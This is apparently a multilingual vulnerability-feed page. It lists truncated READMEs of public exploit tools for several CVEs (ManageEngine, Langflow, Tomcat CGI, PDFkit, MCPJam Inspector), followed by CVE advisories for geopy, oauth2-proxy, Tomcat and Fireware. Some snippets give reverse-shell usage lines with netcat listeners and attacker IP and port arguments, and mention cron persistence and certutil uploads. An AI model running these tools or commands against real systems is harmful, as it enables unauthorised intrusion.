CVE-2019-15715

CVE-2019-15715 이 저장소는 CVE-2019-15715에 대한 Python3 구현이며, Nikolas Geiselman이 이전에 여기에서 보고한 CVE-2019-15715의 개선에 초점을 맞추고, Python의 매개변수 구현을 추가하여 스크립트를 더 유연하게 만드는 것을 목표로 합니다. python3 CVE-2019-15715.py -rh $TARGETIP -rp $TARGETPORT -lh $ATTACKERIP -lp $ATTACKERPORT -u $USER -p $PSW -e $ENDPOINT -rs...

mcpExec

mcpExec는 CVE-2026-23744를 이용하여 취약한 MCPJam Inspector 설치의 URL을 통해 리버스 셸을 획득하는 도구입니다. 설치 git clone https://github.com/daemoncibsec/mcpExec.git cd mcpExec python3 -m venv venv source venv/bin/activate pip install rich pip install argparse pip install requests chmod +x mcpExec.py venv 종료: deactivate...

SSRFX

CVE-2014-4210+Redis 권한 없이 접근 설치 pip install -r requirements.txt 사용 usage: SSRFX.py -h --url URL --threads THREADS --app APP --network NETWORK --type TYPE --vulapp VULAPP --lhost LHOST --lport LPORT --rhost RHOST --rport RPORT SSRF Explotion Tools optional arguments: -h, --help show this help...

Crimson-Cloak-ISH-wrapper-iOS-

Crimson-Cloak-ISH-wrapper-iOS 탈옥 없이 iSH iOS 앱의 기능을 극대화하는 래퍼입니다. 기능 http://127.0.0.1:8088에서 HTTP API + 내장 대시보드 ws://127.0.0.1:8089에서 WebSocket 실시간 스트리밍 SynChan 도구 Huginn, OmnINT, Daedalus, Argus, Neural, Ophelia, Hecate, MIDAS, SynChan, Crimson Cloud 자동 검색 도구별 바로가기 버튼 클립보드 동기화, 파일 감시, 네트워크 모니터, 연결...

reverse-engineering-browser

Reverse Engineering Browser See the browser evidence behind fingerprints, requests, scripts, and runtime behavior. A local-first research browser and macOS workspace for inspecting authorized web applications. v0.2.1 released Origin Trace Traffic now has a full-width, DevTools-style request table...

cve-2020-14008

CVE-2020-14008 ManageEngine エクスプロイト これは何ですか？ このスクリプトは、ManageEngine Applications Manager の CVE-2020-14008 を悪用し、SYSTEM 権限でリバースシェルを取得します。 要件 pip3 install requests urllib3 使用方法 1. リスナーを起動 nc -nlvp 9001 2. エクスプロイトを実行 python3 cve-2020-14008-exploit.py 例 Direct attack python3 cve-2020-14008-exploit.py...

langflow-rce-exploit

Langflow RCE 익스플로잇 CVE-2025-3248 Langflow 원격 코드 실행 익스플로잇 CVE-2025-3248 기능 자동 취약점 탐지 여러 익스플로잇 모드: 대화형 셸 단일 명령 실행 리버스 셸 연결 파일 업로드 기능 색상화된 사용자 인터페이스 여러 리버스 셸 방식 명령 기록 유지 📌 변경 로그 v2.0 ✨ 새로운 기능: 5가지 실행 방법을 지원하는 고급 페이로드 시스템 Base64 인코딩을 사용한 파일 업로드/다운로드 Cron 작업을 통한 지속성 persist 명령 대화형 셸 업그레이드 : upload...

ReverseSock5Proxy

Reverse TCP Sock5 Proxy 小さな Reverse Sock5 Proxy サーバー サーバー GUI は ImGui で構築されています :V プレビルド版は Releases からダウンロードできます。 ビルド 必要なもの: gcc バージョン 12+ Windows 用の推奨版 Conan パッケージマネージャー 必要に応じて、scripts フォルダ内の任意のスクリプトを実行してください :V クライアント/エージェント ビルド gcc main.c -lws232 -O2 -s -o Sock5Agent TODO 複数 OS...

reverse-engineering-workshop

...

CVE-2019-0232

CVE-2019-0232 설명 이 도구는 명령 실행 모드와 리버스 셸 모드를 모두 제공하여 CVE‑2019‑0232에 대한 익스플로잇 워크플로를 자동화합니다. 명령에 대한 자동 URL 인코딩을 지원하고, 임시 HTTP 서버를 실행하여 nc.exe를 호스팅한 후 certutil을 사용하여 취약한 Apache Tomcat CGI 엔드포인트에 업로드하고, 리버스 셸을 트리거한 다음 자동으로 HTTP 서버를 종료합니다. 스크립트는 필요한 인수를 검증하고, 페이로드 URL을 구성하며, 익스플로잇 요청을 전송하여 원활하고 통제된 익스플로...

CVE-2022-25765

CVE-2022-25765 エクスプロイト CVE-2022-25765 用の小さな POC エクスプロイト、PDFkit-CMD-Injection 使用方法 1. 攻撃マシンで netcat リスナーを起動します: nc -lvnp 4444 2. エクスプロイトを実行します: python cve-2022-25765.py -t http://TARGETIP:PORT -l YOURIP -p YOURPORT 例: python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444 パラメータ:...

EUVD-2026-90923

geopy: Regular Expression Denial of Service ReDoS in geopy.Point...

Reversing the Clock: Layout-Aware Recovery of Design Intent from Clock Distribution Networks

Hardware reverse engineering supports competitive analysis and hardware assurance by recovering information about an integrated circuit IC from its physical implementation. While existing techniques primarily recover the gate-level netlist, which represents logical functionality, they often...

Linux Distros Unpatched Vulnerability : CVE-2026-77387

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - geopy is a geocoding library for Python. Prior to 2.5.0, geopy.Point and Point.fromstring can spend excessive CPU time due to inefficient regular-expression...

DEBIAN-CVE-2026-77387

geopy is a geocoding library for Python. Prior to 2.5.0, geopy.Point and Point.fromstring can spend excessive CPU time due to inefficient regular-expression behavior when an application passes a long malformed coordinate string without the 256-character input limit used by the fix. Geocoder rever...

github.com/oauth2-proxy/oauth2-proxy: OAuth2 Proxy 7.15.2 through 7.15.4 Authentication Bypass via X-Forwarded-Uri Under the Default Trusted Proxy Set

A flaw was found in oauth2-proxy. When configured in reverse-proxy mode without explicit trusted proxy settings, the application defaults to treating all incoming network traffic as originating from trusted proxies. A remote, unauthenticated attacker can exploit this issue by sending a request wi...

AlmaLinux 9.2 [TuxCare] Security Update: tomcat / tomcat-admin-webapps / tomcat-docs-webapp / etc (ALMALINUX9.2:CLSA-2025:1742924802)

The AlmaLinux 9.2 host has packages installed that are affected by a vulnerability as referenced in the TuxCare ALMALINUX9.2:CLSA-2025:1742924802 advisory. - Improper Input Validation vulnerability in Apache Tomcat.Tomcat from 11.0.0-M1 through 11.0.0-M10, from 10.1.0-M1 through 10.1.15, from...

PT-2026-105207

Inconsistent Interpretation of HTTP Requests 'HTTP Request/Response Smuggling' vulnerability in Apache Tomcat caused by processing the transfer-encoding header for an HTTP/1.0 request may allow an attacker to cause one request from another user to fail when Tomcat is located behind a reverse prox...

EUVD-2026-89492

An improper authorization vulnerability in Fireware OS's Access Portal reverse proxy allows an authenticated, low-privileged Access Portal user to access other web applications they are not authorized for by sending a specially crafted request for a different resource which they are authorized to...

CVE-2026-86105

An improper authorization vulnerability in Fireware OS's Access Portal reverse proxy allows an authenticated, low-privileged Access Portal user to access other web applications they are not authorized for by sending a specially crafted request for a different resource which they are authorized to...